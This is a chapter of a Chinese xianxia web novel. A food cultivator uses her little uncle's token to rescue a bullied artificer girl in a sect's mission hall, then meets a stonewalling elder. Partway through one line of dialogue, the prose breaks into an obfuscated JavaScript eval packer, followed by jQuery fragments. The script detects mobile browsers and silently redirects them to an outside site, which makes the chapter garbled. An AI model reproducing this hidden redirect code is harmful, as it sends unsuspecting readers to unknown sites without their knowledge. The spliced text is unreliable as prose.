翌日,谢言星捏着那枚冷冰冰的令牌,踏进了任务堂。
令牌为千年灵木所制,通体深黑,外围勾勒出了双层回纹,令牌中心是三枚璀璨的剑星,代指剑修所在的上三门。
是代指小师叔身份的天阶令牌。
按天阶令牌对应的份例,小师叔无论如何也不该缺几株灵草。
谢言星沉思。
“砰——”一个身形小小的女孩急匆匆地奔向任务堂门口,跑得太急又低头没看人,猛得撞到了谢言星,绊得两人摔在地上。
谢言星迅速回神,握紧被撞得飘出去的令牌。
“非,非常抱歉!”女孩怯怯,声音已带了哭腔,“我,我实在得快些走……抱歉!”她爬起来猛猛鞠了三躬,腰间的兔子挂件也跟着跳了三跳,转头又飞奔跑了出去。
未待谢言星看明白发生了什么,两道身影已穿过她包到了前方,一人一边,拦住女孩。
“不就是个储物玉珏吗?这位器修师妹啊,早同你讲了,我师弟只是近几日灵材拿不出来,先问你取了玉珏,改日再给你灵材炼剑,何必闹那么难看?”一个高个剑修双手抱胸,腿向前一拦。
“若是喧哗引来了长老,我师弟最多不过紧闭几日,而你呢?为了区区器修亲传弟子考核,引剑修争斗,恐怕没那么简单吧?”
女孩抱紧手上的东西,面色惨白,不停地摇头,声音发抖,组不成完整的句子,只是继续重复同样的一句话:“不能给。”
谢言星下意识手按过腰间,却摸了个空。
她怔了怔,再次意识到梦里发生的事情现实里不存在。
她手上没有剑。
谢言星闭了闭眼,转身的步子停住了。
她继续向任务堂内走去。
门口的笑谑声愈来愈响,女孩反抗的动静却轻了。
谢言星脚步一顿。
剑修见说不通,面上涌出不耐烦来,他招了招手,示意身后的跟班向前。
那跟班年纪要轻上好许,想来就是他口中的师弟。
师弟听话凑近,压低了声音:“师兄,怎么了?”
“今日不是让你练了御剑术吗,正巧让她体验一下剑修乘剑御风的畅快。”师兄拍了拍师弟肩膀,轻蔑一瞥女孩,“任务堂人多,便宜她了,平日里这些杂修哪有资格体验御剑术?”
师弟疑惑地歪了歪头,但还是照做:“好的师兄。”
他拔出腰间剑,双手掐诀,剑飞出一道轻盈的流光,在半空中晃了晃又很快定住,停在女孩面前。
师兄向前走两步,拽起女孩。女孩手脚皆软了,被他一拉,没站起来就又瘫软在地上。他不耐烦地啧了一声,手再伸向女孩肩膀。
“找了你半天了你怎么还在任务堂呆着!”揽过女孩,谢言星挡在她面前,斥责,“嘴上说小师叔昨天说要的法器已经做好了,等你半天没见你去,要是耽搁小师叔用,你担待得起吗?任务堂能有几单炼器生意?那群剑修一个个穷的……小师叔一单抵他们一群人呢。”
她转身,像是才看见两个剑修,惊讶地后退半步:“哎呀这是……好灵巧的御剑术,是流光峰的剑修师兄?”
剑修上下打量,还是毫无印象,戳了戳跟班师弟,悄悄问:“她是谁啊?”
师弟:“上三门传遍了的那个,痴恋小师叔,拒绝了剑尊收徒跑去当厨子的新弟子。”
他像是半点分不清情况,还是正常音量,给谢言星听了个一清二楚。
谢言星心底一阵抽搐,没想到已经传成这样,面上还是笑眯眯的:“师妹谢言星,食修,现在跟随小师叔住在后山。”
师弟作揖:“袁奕,流……”
师兄剧烈咳嗽两声打断,揽住袁奕的肩:“我是他师兄,什么流光峰啊师妹你认错了,我们是镇岳峰弟子,御剑术是这小子爱好。
她目光在两个剑修臂膀上打转,疑惑:“两位师兄这瞧着还真不像镇岳峰师兄。镇岳峰师兄的炼体术颇为惊人,都有力拔河山之势呢。”
谢言星遗憾:“还以为巧了,本来小师叔说了明日要去流光峰拜访长老呢。”
师兄尴尬地立在当场,语气松了下来:“耽搁师妹的事情是我不好,只是这位器修与我们有些账没结清。师妹放心,我们的事情很快就能了结,不会耽误小师叔要的法器。”说完,他眯了眯眼,压低声音威胁道,“师妹你既是食修,还是远去些好。”
周围人群聚集得还不够多,再找话茬拖拖时间,等有更多人注意。
任务堂到底是人来人往聚集之地,这两个剑修不过是仗着先前没人留心。等到人多了,戒律堂长老注意到了,他们哪里敢在这里堵人?
谢言星故作疑惑:“食修怎么了?师妹愚钝,师兄这话听不明白。”
师兄不耐烦:“让师妹远去些好,是因为这剑光可没长眼睛。”
他盛气凌人:“师妹若是不退,若是被剑伤到可就不好了。毕竟,东澜仙宗里,我们剑修打闹用剑是常有的事情。师妹不小心被擦了碰了,恐怕也没处说去。”
周围人群已经被飞剑和谢言星刻意提高的音量渐渐吸引了过来。
看着浑然不觉的师兄弟,谢言星微微一笑。
“师兄说的对,剑光无眼。”她指尖一翻,亮出手里小师叔的令牌:“可惜,小师叔令牌在此,如小师叔亲在。”
她眼睛弯弯:“师兄这么厉害,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305667|182824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想来在这么多人众目睽睽下,也一定会拿剑出来玩玩。想来戒律堂应该对伤及小师叔的人,有一套说理的标准吧!”
天阶令牌三枚剑星森然,威压不言自明。
他脸色骤变,环顾四周围拢的人群,若戒律堂来了可就真的说不清了,只得咬了咬牙,恨声:“算你狠。”
说完犹觉不够,指着器修师妹接了句:“这次是你好运,我看你后面还来不来上三门。”
待到剑修悻悻离去,谢言星松了一口气,几乎要坐倒在地上。
此时此刻她才惊觉自己背后已出了一身冷汗。
“谢,谢谢师姐……”器修师妹怯怯地拉了拉她的衣袖。
谢言星喘了几口气,站起身,拍了拍器修师妹的脑袋:“没事,以后小心些。”
先前梦里,有剑尊保驾护航,有剑在手,倒不觉得。
怎么大庭广众还有人敢堵人呢?
想不明白,谢言星摇了摇脑袋,先去拿苏昭辞的药材再说。
梦里大多的细节都被掠过了,自己亲身走一遭才感觉出处处不对。
任务堂里人多话多,说不定还有什么线索。
走到柜台前时,谢言星笑得温柔无害又略带焦急,俨然是一个挂心师叔的痴情师侄。
柜台前的铭牌写着,今日当值的长老姓唐。
一个梦里略熟悉的名字啊。
熟人好“办事”。
“唐长老,”谢言星递出令牌,语气带着恰到好处的焦急,“小师叔今日旧疾又犯了,托我替他来取昔日未领的药草。”
唐长老眼睛都没抬,指尖将那令牌推回谢言星面前,声音拖得又慢又假:“这位师侄,不是我不愿替你取。只是小师叔的事情,在整个任务堂皆是特例啊。小师叔无修为在身,令牌遗失或被魔修蛊惑也是常有的事情。师侄只凭借此物,恕我没法替你取来。不如师侄凭令牌去寻剑尊试试?有剑尊的喻令,我才好给小师叔取这些东西啊。”
“又或者,师侄若是心急,不如看看任务堂的任务?”唐长老伸手指了指任务板,片刻后又做出了恍然大悟状,“瞧我这记性,师侄是食修而非剑修。那做任务怕是行不通了。”
谢言星望向任务板,掠过前面那些现在根本做不了的除魔修、杀灵兽、取灵材,一直看到任务板最末才看到了小小一部分杂修的任务版面,又在版面最末才看到了零星食修的字眼。
“长期收食修制清心羹,十贡献一份。”
减去约莫两贡献的材料,做约莫四十份才抵得上杀一只筑基期灵兽,要换灵草怕不是得没日没夜做上一个月。
这种馊主意谢言星想都不想,她眼珠一转,有了一个主意。